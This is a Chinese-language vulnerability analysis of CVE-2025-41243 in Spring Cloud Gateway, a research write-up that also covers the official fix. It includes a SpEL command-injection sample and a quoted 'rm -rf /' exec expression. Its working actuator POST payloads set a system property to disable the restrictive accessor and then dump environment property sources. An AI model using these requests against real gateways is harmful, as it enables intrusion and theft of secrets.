CVE-2025-41243 Spring Cloud Gateway 环境属性修改漏洞
2025-09-25 17:25:59

CVE-2025-41243 Spring Cloud Gateway 环境属性修改漏洞

Java SpEL表达式注入

SpEL的设计是为了简化和动态化Spring应用程序的配置过程,可以减少在配置文件中的硬编码,可以动态地根据运行时的环境或条件来决定Bean的初始化或执行逻辑,而不需要修改源代码。

如下所示 -> 调用myBeansomeMethod()方法,并将返回值作为value的值。

1
2
3
<bean id="exampleBean" class="com.example.Example">
<property name="value" value="#{myBean.someMethod()}" />
</bean>

但是若未经任何过滤且SpEL解析的参数为攻击者可控,则会造成命令注入:

1
2
3
4
5
6
7
8
public class Test {
public static void main(String[] args) throws Exception {
String input = "new java.lang.ProcessBuilder(new String[]{\"open\",\"-a\",\"Calculator\"}).start()\n";
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(input);
System.out.println(expression.getValue().toString()); //在expression.getValue()处触发命令执行
}
}

漏洞前身 -> CVE-2022-2947 Spring Cloud Gateway SpEL RCE

参考分析 -> https://forum.butian.net/article/331

官方修复方案是将StandardEvaluationContext更换为SimpleEvaluationContext

特性 StandardEvaluationContext SimpleEvaluationContext
功能完整性 ✅ 完整支持所有 SpEL 功能(方法调用、构造器、属性访问、Bean 引用等) ❌ 仅支持基本操作(属性读写、集合操作、运算符),不支持构造器调用和静态方法
性能 较慢(需反射查找方法/字段,缓存机制复杂) 更快(简化了类型转换和方法解析)
安全性 ⚠️ 低:允许执行任意代码(如 T(java.lang.Runtime).getRuntime().exec('rm -rf /') ✅ 高:禁用危险操作,防止代码注入
适用场景 内部配置、受信任环境下的表达式求值 外部输入、用户提交的表达式、需要安全隔离的场景
默认配置 开启所有 SpEL 功能 严格限制,需显式启用部分功能

gateway端点开启时,可以利用POST /actuator/gateway/routes/xxxx来创建一个新的路由

Actuator API文档 -> https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html

image-20250923201549-sdvnzs2

新增后利用POST /actuator/gateway/refresh刷新。

打断点 -> 先 ShortcutConfigurable#getValue -> RouteDefinitionRouteLocator#loadGatewayFilters

image-20250923210045-7melg0f

继续调用请求包中指定filterapply方法 -> org.springframework.cloud.gateway.filter.factory.AddResponseHeaderGatewayFilterFactory#apply

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class AddResponseHeaderGatewayFilterFactory extends AbstractNameValueGatewayFilterFactory {

@Override
public GatewayFilter apply(NameValueConfig config) {
return new GatewayFilter() {
@Override
public Mono<Void> filter(ServerWebExchange exchange, GatewayFilterChain chain) {
String value = ServerWebExchangeUtils.expand(exchange, config.getValue());
exchange.getResponse().getHeaders().add(config.getName(), value);

return chain.filter(exchange);
}

@Override
public String toString() {
return filterToStringCreator(AddResponseHeaderGatewayFilterFactory.this)
.append(config.getName(), config.getValue()).toString();
}
};
}
}

重点看一下对CVE-2022-2947漏洞的修复方案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
static Object getValue(SpelExpressionParser parser, BeanFactory beanFactory, String entryValue) {
String rawValue = entryValue;
if (entryValue != null) {
rawValue = entryValue.trim();
}

Object value;
if (rawValue != null && rawValue.startsWith("#{") && entryValue.endsWith("}")) {
GatewayEvaluationContext context = new GatewayEvaluationContext(beanFactory);
Expression expression = parser.parseExpression(entryValue, new TemplateParserContext());
value = expression.getValue(context);
} else {
value = entryValue;
}

return value;
}

public static class GatewayEvaluationContext implements EvaluationContext {
private final BeanFactoryResolver beanFactoryResolver;
private final SimpleEvaluationContext delegate;

public GatewayEvaluationContext(BeanFactory beanFactory) {
this.beanFactoryResolver = new BeanFactoryResolver(beanFactory);
Environment env = (Environment)beanFactory.getBean(Environment.class);
boolean restrictive = (Boolean)env.getProperty("spring.cloud.gateway.restrictive-property-accessor.enabled", Boolean.class, true);
if (restrictive) {
this.delegate = SimpleEvaluationContext.forPropertyAccessors(new PropertyAccessor[]{new RestrictivePropertyAccessor()}).withMethodResolvers(new MethodResolver[]{(context, targetObject, name, argumentTypes) -> null}).build();
} else {
this.delegate = SimpleEvaluationContext.forReadOnlyDataBinding().build();
}

}

......
}

重点为这句代码:

1
this.delegate = SimpleEvaluationContext.forPropertyAccessors(new PropertyAccessor[]{new RestrictivePropertyAccessor()}).withMethodResolvers(new MethodResolver[]{(context, targetObject, name, argumentTypes) -> null}).build();

它调用withMethodResolvers(new MethodResolver[]{(context, targetObject, name, argumentTypes) -> null}),顾名思义,MethodResolver用于解析和调用对象的方法。在SpEL表达式中,如果遇到方法调用(例如 targetObject.someMethod()),MethodResolver会尝试解析这个方法并决定是否可以调用。new MethodResolver[]{(context, targetObject, name, argumentTypes) -> null}代表始终返回NULL,代表禁止了所有方法调用,达到了修复的效果。

CVE-2025-41243 Spring Cloud Gateway 环境属性修改漏洞

比较v4.2.4v4.2.5的代码,发现在GatewayEvaluationContext实例化中增加了一个新的限制方法->withAssignmentDisabled

image-20250924192430-bgbtss3

这个是防止赋值行为的。

对官方的测试代码稍作修改进行验证:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
   @Test
public void testNormalizeDefaultTypeWithSpelAssignmentAndInvalidInputFails() {
parser = new SpelExpressionParser();
ShortcutConfigurable shortcutConfigurable = new ShortcutConfigurable() {
@Override
public List<String> shortcutFieldOrder() {
return Arrays.asList("bean", "arg1");
}
};
Map<String, String> args = new HashMap<>();
args.put("bean", "#{ @myMap['my.flag'] = true}");
args.put("arg1", "val1");
try {
ShortcutType.DEFAULT.normalize(args, shortcutConfigurable, parser, this.beanFactory);
} catch (Exception e) {
e.printStackTrace(); // 打印异常堆栈
throw e; // 再抛出,让断言仍然生效
}

Map<String, Object> myMap = (Map<String, Object>) beanFactory.getBean("myMap");
System.out.println("my.flag = " + myMap.get("my.flag"));
}

@Bean
public Map<String, Object> myMap() {
return new HashMap<>();
}

当不加withAssignmentDisabled时,测试输出如下所示:

image-20250924193534-d8czz7h

当加上withAssignmentDisabled后测试输出如下所示:抛出异常不允许进行赋值操作

image-20250924193822-fbo2b7p

有两个可以读的Map类型的 -> @systemProperties@systemEnvironment

@systemProperties

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /actuator/gateway/routes/test1 HTTP/1.1 
Host: localhost:8889
Content-Type: application/json
Content-Length: 368

{
"id": "test1",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{@systemProperties}"
}
}
],
"uri": "http://xxxx.xxx:9999"
}

image-20250925160812-hkadnvh

@systemEnvironment,因为类型转换问题,需要用@systemEnvironment['xxxxxx']的形式进行读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /actuator/gateway/routes/test1 HTTP/1.1 
Host: localhost:8889
Content-Type: application/json
Content-Length: 368

{
"id": "test1",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{@systemEnvironment['SHELL']}"
}
}
],
"uri": "http://xxxx.xxx:9999"
}

image-20250925160946-vjo6j8f

image-20250925161155-fjhvyau

动态调试的时候发现允许赋值操作,新增属性test赋值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /actuator/gateway/routes/test1 HTTP/1.1 
Host: localhost:8889
Content-Type: application/json
Content-Length: 368

{
"id": "test1",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{ @systemProperties['test'] = 'attack'}"
}
}
],
"uri": "http://xxxx.xxx:9999"
}

打印@systemProperties['test']

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /actuator/gateway/routes/test1 HTTP/1.1 
Host: localhost:8889
Content-Type: application/json
Content-Length: 368

{
"id": "test1",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{@systemProperties['test']}"
}
}
],
"uri": "http://xxxx.xxx:9999"
}

成功赋值

image-20250925162018-g5naeu3

在QAX发布的安全公告中提及可以利用赋值的特性使spring.cloud.gateway.restrictive-property-accessor.enabled的值为false,这样就可以关掉大部分的安全检测去读取更多的敏感信息

image-20250925162416-z7kn0qx

会先从env中获取,若为NULL则采用默认值true

那么利用赋值新增spring.cloud.gateway.restrictive-property-accessor.enabled 属性的值为false

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /actuator/gateway/routes/test1 HTTP/1.1 
Host: localhost:8889
Content-Type: application/json
Content-Length: 368

{
"id": "test1",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{@systemProperties['spring.cloud.gateway.restrictive-property-accessor.enabled']=false}"
}
}
],
"uri": "http://xxxx.xxx:9999"
}

image-20250925162746-dpvymd4

直接关闭安全模式

image-20250925165205-kx89nwe

直接读@environment.propertySources

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /actuator/gateway/routes/test1 HTTP/1.1 
Host: localhost:8889
Content-Type: application/json
Content-Length: 368

{
"id": "test1",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{ @environment.propertySources.toString}"
}
}
],
"uri": "http://xxxx.xxx:9999"
}

成功读取敏感信息

image-20250925170643-gupqz37

漏洞修复

官方多写了一条检测机制 -> withAssignmentDisabled -> 禁止赋值操作

image-20250924192430-bgbtss3

若继续进行赋值操作,则会报错 -> org.springframework.expression.spel.SpelEvaluationException: EL1068E: The expression component '@systemProperties['user.language']='cn'' is not assignable

上一页
2025-09-25 17:25:59
下一页